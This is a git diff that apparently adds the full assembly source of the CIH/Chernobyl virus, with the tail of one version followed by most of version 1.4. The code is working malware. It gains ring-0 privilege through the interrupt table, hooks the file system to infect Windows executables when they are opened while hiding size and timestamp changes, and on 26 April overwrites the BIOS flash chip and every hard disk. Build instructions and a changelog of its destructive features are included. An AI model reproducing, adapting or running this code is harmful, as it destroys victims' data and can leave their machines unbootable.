word ptr (SizeOfOptionalHeader-@8)[esi] + lea edx, [eax+edx+12h] + +; *************************** +; * Let's Get * +; * Total Size of Sections * +; *************************** + + mov al, SizeOfScetionTable + + ; I Assume NumberOfSections <= 0ffh + mov cl, (NumberOfSections-@8)[esi] + + mul cl + +; *************************** +; * Let's Set Section Table * +; *************************** + + ; Move ESI to the Start of SectionTable + lea esi, (StartOfSectionTable-@8)[esi] + + push eax ; Size + push edx ; Pointer of File + push esi ; Address of Buffer + +; *************************** +; * The Code Size of Merge * +; * Virus Code Section and * +; * Total Size of Virus * +; * Code Section Table Must * +; * be Small or Equal the * +; * Unused Space Size of * +; * Following Section Table * +; *************************** + + inc ecx + push ecx ; Save NumberOfSections+1 + + shl ecx, 03h + push ecx ; Save TotalSizeOfVirusCodeSectionTable + + add ecx, eax + add ecx, edx + + sub ecx, (SizeOfHeaders-@9)[esi] + not ecx + inc ecx + + cmp cx, small CodeSizeOfMergeVirusCodeSection + jl short OnlySetInfectedMark + +; *************************** +; * Save Original * +; * Address of Entry Point * +; *************************** + + ; Save My Virus First Section Code + ; Size of Following Section Table... + ; ( Not Include the Size of Virus Code Section Table ) + push ecx + + xchg ecx, eax ; ECX = Size of Section Table + + mov eax, (AddressOfEntryPoint-@9)[esi] + add eax, (ImageBase-@9)[esi] + mov (OriginalAddressOfEntryPoint-@9)[esi], eax + +; *************************** +; * Read All Section Tables * +; *************************** + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set Total Virus * +; * Code Section Table * +; *************************** + + ; EBX = My Virus First Section Code + ; Size of Following Section Table + pop ebx + pop edi ; EDI = TotalSizeOfVirusCodeSectionTable + pop ecx ; ECX = NumberOfSections+1 + + push edi ; Size + + add edx, eax + push edx ; Pointer of File + + add eax, esi + + ; Modify the Bug that WinZip Self-Extractor Occurs Error... + ; So When Open WinZip Self-Extractor, My Virus Don't Infect it... + ; The WinZip Self-Extractor Last Section Name is '_winzip_' + ; I Just Only Test Last Four Bytes ==> 'zip_' + cmp dword ptr [eax-SizeOfScetionTable+04h], '_piz' + je OnlySetInfectedMark + + push eax ; Address of Buffer + +; *************************** +; * Set the First Virus * +; * Code Section Size in * +; * VirusCodeSectionTable * +; *************************** + + lea eax, [eax+edi-04h] + mov [eax], ebx + +; *************************** +; * Let's Set My Virus * +; * First Section Code * +; *************************** + + push ebx ; Size + + add edx, edi + push edx ; Pointer of File + + lea edi, (MyVirusStart-@9)[esi] + push edi ; Address of Buffer + +; *************************** +; * Let's Modify the * +; * AddressOfEntryPoint to * +; * My Virus Entry Point * +; *************************** + + mov (NewAddressOfEntryPoint-@9)[esi], edx + +; *************************** +; * Setup Initial Data * +; *************************** + + lea edx, [esi-SizeOfScetionTable] + mov ebp, offset VirusSize + + jmp StartToWriteCodeToSections + +; *************************** +; * Write Code to Sections * +; *************************** + +LoopOfWriteCodeToSections: + + add edx, SizeOfScetionTable + + mov ebx, (SizeOfRawData-@9)[edx] + sub ebx, (VirtualSize-@9)[edx] + jbe EndOfWriteCodeToSections + + push ebx ; Size + + sub eax, 08h + mov [eax], ebx + + mov ebx, (PointerToRawData-@9)[edx] + add ebx, (VirtualSize-@9)[edx] + push ebx ; Pointer of File + + push edi ; Address of Buffer + + mov ebx, (VirtualSize-@9)[edx] + add ebx, (VirtualAddress-@9)[edx] + add ebx, (ImageBase-@9)[esi] + mov [eax+4], ebx + + mov ebx, [eax] + add (VirtualSize-@9)[edx], ebx + + ; Section contains initialized data ==> 00000040h + ; Section can be Read. ==> 40000000h + or (Characteristics-@9)[edx], 40000040h + +StartToWriteCodeToSections: + + sub ebp, ebx + jbe SetVirusCodeSectionTableEndMark + + add edi, ebx ; Move Address of Buffer + +EndOfWriteCodeToSections: + + loop LoopOfWriteCodeToSections + +; *************************** +; * Only Set Infected Mark * +; *************************** + +OnlySetInfectedMark: + mov esp, dr1 + + jmp WriteVirusCodeToFile + +; *************************** +; * Set Virus Code * +; * Section Table End Mark * +; *************************** + +SetVirusCodeSectionTableEndMark: + + ; Adjust Size of Virus Section Code to Correct Value + add [eax], ebp + add [esp+08h], ebp + + ; Set End Mark + xor ebx, ebx + mov [eax-04h], ebx + +; *************************** +; * When VirusGame Calls * +; * VxDCall, VMM Modifies * +; * the 'int 20h' and the * +; * 'Service Identifier' * +; * to 'Call [XXXXXXXX]'. * +; *************************** +; * Before Writing My Virus * +; * to File, I Must Restore * +; * them First. ^__^ * +; *************************** + + lea eax, (LastVxDCallAddress-2-@9)[esi] + + mov cl, VxDCallTableSize + +LoopOfRestoreVxDCallID: + mov word ptr [eax], 20cdh + + mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] + mov [eax+2], edx + + movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] + sub eax, edx + + loop LoopOfRestoreVxDCallID + +; *************************** +; * Let's Write * +; * Virus Code to the File * +; *************************** + +WriteVirusCodeToFile: + mov eax, dr1 + mov ebx, [eax+10h] + mov edi, [eax] + +LoopOfWriteVirusCodeToFile: + + pop ecx + jecxz SetFileModificationMark + + mov esi, ecx + mov eax, 0d601h + pop edx + pop ecx + + call edi ; VXDCall IFSMgr_Ring0_FileIO + + jmp LoopOfWriteVirusCodeToFile + +; *************************** +; * Let's Set CF = 1 ==> * +; * Need to Restore File * +; * Modification Time * +; *************************** + +SetFileModificationMark: + pop ebx + pop eax + + stc ; Enable CF(Carry Flag) + pushf + +; ************************************* +; * Close File * +; ************************************* + +CloseFile: + xor eax, eax + mov ah, 0d7h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Need to Restore File Modification * +; * Time !? * +; ************************************* + + popf + pop esi + jnc IsKillComputer + +; ************************************* +; * Restore File Modification Time * +; ************************************* + + mov ebx, edi + + mov ax, 4303h + mov ecx, (FileModificationTime-@7)[esi] + mov edi, (FileModificationTime+2-@7)[esi] + call ebx ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Disable OnBusy * +; ************************************* + +DisableOnBusy: + dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy + +; ************************************* +; * Call Previous FileSystemApiHook * +; ************************************* + +prevhook: + popad + + mov eax, dr0 ; + jmp [eax] ; Jump to prevhook + +; ************************************* +; * Call the Function that the IFS * +; * Manager Would Normally Call to * +; * Implement this Particular I/O * +; * Request. * +; ************************************* + +pIFSFunc: + mov ebx, esp + push dword ptr [ebx+20h+04h+14h] ; Push pioreq + call [ebx+20h+04h] ; Call pIFSFunc + pop ecx ; + + mov [ebx+1ch], eax ; Modify EAX Value in Stack + +; *************************** +; * After Calling pIFSFunc, * +; * Get Some Data from the * +; * Returned pioreq. * +; *************************** + + cmp dword ptr [ebx+20h+04h+04h], 00000024h + jne QuitMyVirusFileSystemHook + +; ***************** +; * Get the File * +; * Modification * +; * Date and Time * +; * in DOS Format.* +; ***************** + + mov eax, [ecx+28h] + mov (FileModificationTime-@6)[esi], eax + +; *************************** +; * Quit My Virus' * +; * IFSMgr_FileSystemHook * +; *************************** + +QuitMyVirusFileSystemHook: + + popad + + ret + +; ************************************* +; * Kill Computer !? ... *^_^* * +; ************************************* + +IsKillComputer: + ; Get Now Month from BIOS CMOS + mov ax, 0708h + out 70h, al + in al, 71h + + xchg ah, al + + ; Get Now Day from BIOS CMOS + out 70h, al + in al, 71h + + xor ax, 0426h ; 04/26/???? + jne DisableOnBusy + +; ************************************** +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; ************************************** + +; *************************** +; * Kill BIOS EEPROM * +; *************************** + + mov bp, 0cf8h + lea esi, IOForEEPROM-@7[esi] + +; *********************** +; * Show BIOS Page in * +; * 000E0000 - 000EFFFF * +; * ( 64 KB ) * +; *********************** + + mov edi, 8000384ch + mov dx, 0cfeh + cli + call esi + +; *********************** +; * Show BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + + mov di, 0058h + dec edx ; and al,0fh + mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h + call esi + +; *********************** +; * Show the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E01FF * +; * ( 512 Bytes ) * +; * , and the Section * +; * of Extra BIOS can * +; * be Writted... * +; *********************** + + lea ebx, EnableEEPROMToWrite-@10[esi] + + mov eax, 0e5555h + mov ecx, 0e2aaah + call ebx + mov byte ptr [eax], 60h + + push ecx + loop $ + +; *********************** +; * Kill the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E007F * +; * ( 80h Bytes ) * +; *********************** + + xor ah, ah + mov [eax], al + + xchg ecx, eax + loop $ + +; *********************** +; * Show and Enable the * +; * BIOS Main ROM Data * +; * 000E0000 - 000FFFFF * +; * ( 128 KB ) * +; * can be Writted... * +; *********************** + + mov eax, 0f5555h + pop ecx + mov ch, 0aah + call ebx + mov byte ptr [eax], 20h + + loop $ + +; *********************** +; * Kill the BIOS Main * +; * ROM Data in Memory * +; * 000FE000 - 000FE07F * +; * ( 80h Bytes ) * +; *********************** + + mov ah, 0e0h + mov [eax], al + +; *********************** +; * Hide BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + ; or al,10h + mov word ptr (BooleanCalculateCode-@10)[esi], 100ch + call esi + +; *************************** +; * Kill All HardDisk * +; *************************************************** +; * IOR Structure of IOS_SendCommand Needs * +; *************************************************** +; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * +; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * +; *************************************************** + +KillHardDisk: + xor ebx, ebx + mov bh, FirstKillHardDiskNumber + push ebx + sub esp, 2ch + push 0c0001000h + mov bh, 08h + push ebx + push ecx + push ecx + push ecx + push 40000501h + inc ecx + push ecx + push ecx + + mov esi, esp + sub esp, 0ach + +LoopOfKillHardDisk: + int 20h + dd 00100004h ; VXDCall IOS_SendCommand + + cmp word ptr [esi+06h], 0017h + je KillNextDataSection + +ChangeNextHardDisk: + inc byte ptr [esi+4dh] + + jmp LoopOfKillHardDisk + +KillNextDataSection: + add dword ptr [esi+10h], ebx + mov byte ptr [esi+4dh], FirstKillHardDiskNumber + + jmp LoopOfKillHardDisk + +; *************************** +; * Enable EEPROM to Write * +; *************************** + +EnableEEPROMToWrite: + mov [eax], cl + mov [ecx], al + mov byte ptr [eax], 80h + mov [eax], cl + mov [ecx], al + + ret + +; *************************** +; * IO for EEPROM * +; *************************** + +IOForEEPROM: +@10 = IOForEEPROM + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + in al, dx + +BooleanCalculateCode = $ + or al, 44h + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + out dx, al + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +LastVxDCallAddress = IFSMgr_Ring0_FileIO +VxDCallAddressTable db 00h + db IFSMgr_RemoveFileSystemApiHook-_PageAllocate + db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook + db IFSMgr_Ring0_FileIO-UniToBCSPath + +VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h +VxDCallTableSize = ($-VxDCallIDTable)/04h + +; ********************************************************* +; * Virus Version Copyright * +; ********************************************************* + +VirusVersionCopyright db 'CIH v' + db MajorVirusVersion+'0' + db '.' + db MinorVirusVersion+'0' + db ' TTIT' + +; ********************************************************* +; * Virus Size * +; ********************************************************* + +VirusSize = $ +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; * Dynamic Data * +; ********************************************************* + +VirusGameDataStartAddress = VirusSize +@6 = VirusGameDataStartAddress +OnBusy db 0 +FileModificationTime dd ? + +FileNameBuffer db FileNameBufferSize dup(?) +@7 = FileNameBuffer + +DataBuffer = $ +@8 = DataBuffer +NumberOfSections dw ? +TimeDateStamp dd ? +SymbolsPointer dd ? +NumberOfSymbols dd ? +SizeOfOptionalHeader dw ? +_Characteristics dw ? +Magic dw ? +LinkerVersion dw ? +SizeOfCode dd ? +SizeOfInitializedData dd ? +SizeOfUninitializedData dd ? +AddressOfEntryPoint dd ? +BaseOfCode dd ? +BaseOfData dd ? +ImageBase dd ? +@9 = $ +SectionAlignment dd ? +FileAlignment dd ? +OperatingSystemVersion dd ? +ImageVersion dd ? +SubsystemVersion dd ? +Reserved dd ? +SizeOfImage dd ? +SizeOfHeaders dd ? +SizeOfImageHeaderToRead = $-NumberOfSections + +NewAddressOfEntryPoint = DataBuffer ; DWORD +SizeOfImageHeaderToWrite = 04h + +StartOfSectionTable = @9 +SectionName = StartOfSectionTable ; QWORD +VirtualSize = StartOfSectionTable+08h ; DWORD +VirtualAddress = StartOfSectionTable+0ch ; DWORD +SizeOfRawData = StartOfSectionTable+10h ; DWORD +PointerToRawData = StartOfSectionTable+14h ; DWORD +PointerToRelocations = StartOfSectionTable+18h ; DWORD +PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD +NumberOfRelocations = StartOfSectionTable+20h ; WORD +NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD +Characteristics = StartOfSectionTable+24h ; DWORD +SizeOfScetionTable = Characteristics+04h-SectionName + +; ********************************************************* +; * Virus Total Need Memory * +; ********************************************************* + +VirusNeedBaseMemory = $ + +VirusTotalNeedMemory = @9 +; + NumberOfSections(??)*SizeOfScetionTable(28h) +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; ********************************************************* + +VirusGame ENDS + + END FileHeader \ No newline at end of file diff --git a/c/cih_14.asm b/c/cih_14.asm new file mode 100755 index 0000000..d04e8f9 --- /dev/null +++ b/c/cih_14.asm @@ -0,0 +1,1533 @@ +; **************************************************************************** +; * The Virus Program Information * +; **************************************************************************** +; * * +; * Designer : CIH Source : TTIT of TATUNG in Taiwan * +; * Create Date : 04/26/1998 Now Version : 1.4 * +; * Modification Time : 05/31/1998 * +; * * +; * Turbo Assembler Version 4.0 : tasm /m cih * +; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * +; * * +; *==========================================================================* +; * Modification History * +; *==========================================================================* +; * v1.0 1. Create the Virus Program. * +; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * +; * 04/26/1998 3. Virus Code doesn't Reload into System. * +; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * +; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * +; * 6. When System Opens Existing PE File, the File will be * +; * Infected, and the File doesn't be Reinfected. * +; * 7. It is also Infected, even the File is Read-Only. * +; * 8. When the File is Infected, the Modification Date and Time * +; * of the File also don't be Changed. * +; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * +; * Previous FileSystemApiHook, it will Call the Function * +; * that the IFS Manager Would Normally Call to Implement * +; * this Particular I/O Request. * +; * 10. The Virus Size is only 656 Bytes. * +; *==========================================================================* +; * v1.1 1. Especially, the File that be Infected will not Increase * +; * it's Size... ^__^ * +; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * +; * When Exception Error Occurs, Our OS System should be in * +; * Windows NT. So My Cute Virus will not Continue to Run, * +; * it will Jmup to Original Application to Run. * +; * 3. Use Better Algorithm, Reduce Virus Code Size. * +; * 4. The Virus "Basic" Size is only 796 Bytes. * +; *==========================================================================* +; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * +; * 2. Modify the Bug of v1.1 * +; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * +; *==========================================================================* +; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * +; * So When Open WinZip Self-Extractor ==> Don't Infect it. * +; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * +; *==========================================================================* +; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * +; * 2. Change the Date of Killing Computers. * +; * 05/31/1998 3. Modify Virus Version Copyright. * +; * 4. The Virus "Basic" Size is 1019 Bytes. * +; **************************************************************************** + + .586P + +; **************************************************************************** +; * Original PE Executable File(Don't Modify this Section) * +; **************************************************************************** + +OriginalAppEXE SEGMENT + +FileHeader: + db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h + db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh + db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h + db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h + db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh + db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh + db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h + db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah + db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h + db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h + db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + dd 00000000h, VirusSize + +OriginalAppEXE ENDS + +; **************************************************************************** +; * My Virus Game * +; **************************************************************************** + +; ********************************************************* +; * Constant Define * +; ********************************************************* + +TRUE = 1 +FALSE = 0 + +DEBUG = TRUE + +MajorVirusVersion = 1 +MinorVirusVersion = 4 + +VirusVersion = MajorVirusVersion*10h+MinorVirusVersion + + +IF DEBUG + + FirstKillHardDiskNumber = 81h + HookExceptionNumber = 05h + +ELSE + + FirstKillHardDiskNumber = 80h + HookExceptionNumber = 03h + +ENDIF + + +FileNameBufferSize = 7fh + +; ********************************************************* +; ********************************************************* + +VirusGame SEGMENT + + ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame + ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame + +; ********************************************************* +; * Ring3 Virus Game Initial Program * +; ********************************************************* + +MyVirusStart: + push ebp + +; ************************************* +; * Let's Modify Structured Exception * +; * Handing, Prevent Exception Error * +; * Occurrence, Especially in NT. * +; ************************************* + + lea eax, [esp-04h*2] + + xor ebx, ebx + xchg eax, fs:[ebx] + + call @0 +@0: + pop ebx + + lea ecx, StopToRunVirusCode-@0[ebx] + push ecx + + push eax + +; ************************************* +; * Let's Modify * +; * IDT(Interrupt Descriptor Table) * +; * to Get Ring0 Privilege... * +; ************************************* + + push eax ; + sidt [esp-02h] ; Get IDT Base Address + pop ebx ; + + add ebx, HookExceptionNumber*08h+04h ; ZF = 0 + + cli + + mov ebp, [ebx] ; Get Exception Base + mov bp, [ebx-04h] ; Entry Point + + lea esi, MyExceptionHook-@1[ecx] + + push esi + + mov [ebx-04h], si ; + shr esi, 16 ; Modify Exception + mov [ebx+02h], si ; Entry Point Address + + pop esi + +; ************************************* +; * Generate Exception to Get Ring0 * +; ************************************* + + int HookExceptionNumber ; GenerateException +ReturnAddressOfEndException = $ + +; ************************************* +; * Merge All Virus Code Section * +; ************************************* + + push esi + mov esi, eax + +LoopOfMergeAllVirusCodeSection: + + mov ecx, [eax-04h] + + rep movsb + + sub eax, 08h + + mov esi, [eax] + + or esi, esi + jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 + + jmp LoopOfMergeAllVirusCodeSection + +QuitLoopOfMergeAllVirusCodeSection: + + pop esi + +; ************************************* +; * Generate Exception Again * +; ************************************* + + int HookExceptionNumber ; GenerateException Again + +; ************************************* +; * Let's Restore * +; * Structured Exception Handing * +; ************************************* + +ReadyRestoreSE: + sti + + xor ebx, ebx + + jmp RestoreSE + +; ************************************* +; * When Exception Error Occurs, * +; * Our OS System should be in NT. * +; * So My Cute Virus will not * +; * Continue to Run, it Jmups to * +; * Original Application to Run. * +; ************************************* + +StopToRunVirusCode: +@1 = StopToRunVirusCode + + xor ebx, ebx + mov eax, fs:[ebx] + mov esp, [eax] + +RestoreSE: + pop dword ptr fs:[ebx] + pop eax + +; ************************************* +; * Return Original App to Execute * +; ************************************* + + pop ebp + + push 00401000h ; Push Original +OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack + + ret ; Return to Original App Entry Point + +; ********************************************************* +; * Ring0 Virus Game Initial Program * +; ********************************************************* + +MyExceptionHook: +@2 = MyExceptionHook + + jz InstallMyFileSystemApiHook + +; ************************************* +; * Do My Virus Exist in System !? * +; ************************************* + + mov ecx, dr0 + jecxz AllocateSystemMemoryPage + + add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException + +; ************************************* +; * Return to Ring3 Initial Program * +; ************************************* + +ExitRing0Init: + mov [ebx-04h], bp ; + shr ebp, 16 ; Restore Exception + mov [ebx+02h], bp ; + + iretd + +; ************************************* +; * Allocate SystemMemory Page to Use * +; ************************************* + +AllocateSystemMemoryPage: + + mov dr0, ebx ; Set the Mark of My Virus Exist in System + + push 00000000fh ; + push ecx ; + push 0ffffffffh ; + push ecx ; + push ecx ; + push ecx ; + push 000000001h ; + push 000000002h ; + int 20h ; VMMCALL _PageAllocate +_PageAllocate = $ ; + dd 00010053h ; Use EAX, ECX, EDX, and flags + add esp, 08h*04h + + xchg edi, eax ; EDI = SystemMemory Start Address + + lea eax, MyVirusStart-@2[esi] + + iretd ; Return to Ring3 Initial Program + +; ************************************* +; * Install My File System Api Hook * +; ************************************* + +InstallMyFileSystemApiHook: + + lea eax, FileSystemApiHook-@6[edi] + + push eax ; + int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook +IFSMgr_InstallFileSystemApiHook = $ ; + dd 00400067h ; Use EAX, ECX, EDX, and flags + + mov dr0, eax ; Save OldFileSystemApiHook Address + + pop eax ; EAX = FileSystemApiHook Address + + ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point + mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] + mov edx, [ecx] + mov OldInstallFileSystemApiHook-@3[eax], edx + + ; Modify IFSMgr_InstallFileSystemApiHook Entry Point + lea eax, InstallFileSystemApiHook-@3[eax] + mov [ecx], eax + + cli + + jmp ExitRing0Init + +; ********************************************************* +; * Code Size of Merge Virus Code Section * +; ********************************************************* + +CodeSizeOfMergeVirusCodeSection = offset $ + +; ********************************************************* +; * IFSMgr_InstallFileSystemApiHook * +; ********************************************************* + +InstallFileSystemApiHook: + push ebx + + call @4 ; +@4: ; + pop ebx ; mov ebx, offset FileSystemApiHook + add ebx, FileSystemApiHook-@4 ; + + push ebx + int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook +IFSMgr_RemoveFileSystemApiHook = $ + dd 00400068h ; Use EAX, ECX, EDX, and flags + pop eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link Client FileSystemApiHook + push dword ptr [esp+8] + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + push eax + + ; Call Original IFSMgr_InstallFileSystemApiHook + ; to Link My FileSystemApiHook + push ebx + call OldInstallFileSystemApiHook-@3[ebx] + pop ecx + + mov dr0, eax ; Adjust OldFileSystemApiHook Address + + pop eax + + pop ebx + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +OldInstallFileSystemApiHook dd ? + +; ********************************************************* +; * IFSMgr_FileSystemHook * +; ********************************************************* + +; ************************************* +; * IFSMgr_FileSystemHook Entry Point * +; ************************************* + +FileSystemApiHook: +@3 = FileSystemApiHook + + pushad + + call @5 ; +@5: ; + pop esi ; mov esi, offset VirusGameDataStartAddress + add esi, VirusGameDataStartAddress-@5 + +; ************************************* +; * Is OnBusy !? * +; ************************************* + + test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) + jnz pIFSFunc ; goto pIFSFunc + +; ************************************* +; * Is OpenFile !? * +; ************************************* + + ; if ( NotOpenFile ) + ; goto prevhook + lea ebx, [esp+20h+04h+04h] + cmp dword ptr [ebx], 00000024h + jne prevhook + +; ************************************* +; * Enable OnBusy * +; ************************************* + + inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy + +; ************************************* +; * Get FilePath's DriveNumber, * +; * then Set the DriveName to * +; * FileNameBuffer. * +; ************************************* +; * Ex. If DriveNumber is 03h, * +; * DriveName is 'C:'. * +; ************************************* + + ; mov esi, offset FileNameBuffer + add esi, FileNameBuffer-@6 + + push esi + + mov al, [ebx+04h] + cmp al, 0ffh + je CallUniToBCSPath + + add al, 40h + mov ah, ':' + + mov [esi], eax + + inc esi + inc esi + +; ************************************* +; * UniToBCSPath * +; ************************************* +; * This Service Converts * +; * a Canonicalized Unicode Pathname * +; * to a Normal Pathname in the * +; * Specified BCS Character Set. * +; ************************************* + +CallUniToBCSPath: + push 00000000h + push FileNameBufferSize + mov ebx, [ebx+10h] + mov eax, [ebx+0ch] + add eax, 04h + push eax + push esi + int 20h ; VXDCall UniToBCSPath +UniToBCSPath = $ + dd 00400041h + add esp, 04h*04h + +; ************************************* +; * Is FileName '.EXE' !? * +; ************************************* + + ; cmp [esi+eax-04h], '.EXE' + cmp [esi+eax-04h], 'EXE.' + pop esi + jne DisableOnBusy + +IF DEBUG + +; ************************************* +; * 